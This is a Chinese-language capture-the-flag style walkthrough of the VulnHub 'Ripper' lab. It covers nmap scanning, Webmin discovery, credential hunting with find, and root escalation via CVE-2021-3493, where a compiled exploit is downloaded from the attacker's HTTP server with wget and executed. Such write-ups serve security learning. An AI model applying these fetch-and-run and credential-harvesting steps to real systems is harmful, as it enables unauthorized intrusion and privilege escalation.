当前位置:网站首页>vulnhub之Ripper
vulnhub之Ripper
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap扫存活主机
1.半开扫描
nmap -sS ip
2.全开扫描
nmap -sT ip
3.基于ping的扫描
nmap -sP ip
4.基于arp的扫描
nmap -PR ip
5.无ping扫描
nmap -PN 192.168.152.130
二、服务版本探测
22,80还是常用的两个服务,10000端口开放了webmin
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统,这些系统除了各种版本的linux以外还包括:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。

三、信息收集
80端口没有对我们突破边界有用的信息
但是在10000端口我们找到了一个webmin的登录框
1.webmin的登录框
2.robots.txt文件

3.尝试解密
we scan php codes with rips

4.rips
RIPS 是一款不错的静态源代码分析工具,主要用来挖掘 PHP 程序的漏洞。而且是一款web界面的,访问rips开始使用。尝试去访问。
最终在80端口下我们看到了这个rips

四、内部系统信息泄露

五、ssh连接
这里尝试登录webmin后台结果不行。尝试利用ssh登录成功,

六、0day提权
由于在这个靶机发布之后,unbuntu出现了一个提权漏洞。所以我们可以直接利用。
漏洞编号:cve-2021-3493

1.上传编译执行
目标主机无编译环境,提前编译
gcc exploit.c -o exp
开启http服务
python3 -m http.server 80
下载
wget http://192.168.0.106/exp
给权
chmod 777 exp
执行
./exp

七、正常提权
1. firefox
又看到了一个火狐浏览器,鼓捣鼓捣没啥用。

2. 查找cubes相关文件
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null
这条命令的{}是用来接收结果的
这个是用来转义;的
经过搜索,拿到了一个密码,猜测是cubes的
3.su成cubes

4.find搜索
查找和cubes相关的,并且过滤掉没用的
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null |grep -v "proc"
在日志文件中我们发现了admin账号密码

5.登录webmin后台
因为我们拿到的是管理员的账号密码,又因为webmin是控制linux终端的web‘应用’,所以登录后已经拿到了最高权限。

八、msf
只是来熟悉一下用法,因为msf的rce模块也需要账号密码,但是有账号密码我们可以直接拿到管理员权限
msfconsole
search webmin
use 2
show options
设置好各个参数即可
这里也要设置
set ssl true

边栏推荐
- P3250 [HNOI2016] 网络 + [NECPC2022] F.Tree Path 树剖+线段树维护堆
- 外插散点数据
- R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
- How to get started embedded future development direction of embedded
- R语言ggplot2可视化:gganimate包创建动态折线图动画(gif)、使用transition_reveal函数在动画中沿给定维度逐步显示数据、在折线移动方向添加数据点
- ASP.NET-酒店管理系統
- Understand go language context in one article
- R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
- Mysql根据时间搜索常用方法整理
- Kibana~Kibana的安装和配置
猜你喜欢

uniapp scroll view 解决高度自适应、弹框滚动穿透等问题。

How should intermediate software designers prepare for the soft test

How to clean up v$rman_ backup_ job_ Details view reports error ora-02030

ArcGIS应用(二十一)Arcmap删除图层指定要素的方法

用了这么久线程池,你真的知道如何合理配置线程数吗?

多维度监控:智能监控的数据基础

The excel table is transferred to word, and the table does not exceed the edge paper range

Application of high-precision indoor positioning technology in safety management of smart factory

银泰百货点燃城市“夜经济”

(database authorization - redis) summary of unauthorized access vulnerabilities in redis
随机推荐
Program process management tool -go Supervisor
Some common terms
软考中级软件设计师该怎么备考
C language log base zlog basic use
Internet socket (non) blocking write/read n bytes
After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
Yintai department store ignites the city's "night economy"
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
错排问题 (抽奖,发邮件)
How to: configure ClickOnce trust prompt behavior
836. 合并集合(DAY 63)并查集
Xml的(DTD,xml解析,xml建模)
2022 northeast four provinces match VP record / supplementary questions
FL Studio 20 unlimited trial fruit arranger Download
PHP server interacts with redis with a large number of close_ Wait analysis
ASP. Net hotel management system
Cadence background color setting
2022年中南大学夏令营面试经验
Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)
R语言使用gridExtra包的grid.arrange函数将lattice包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数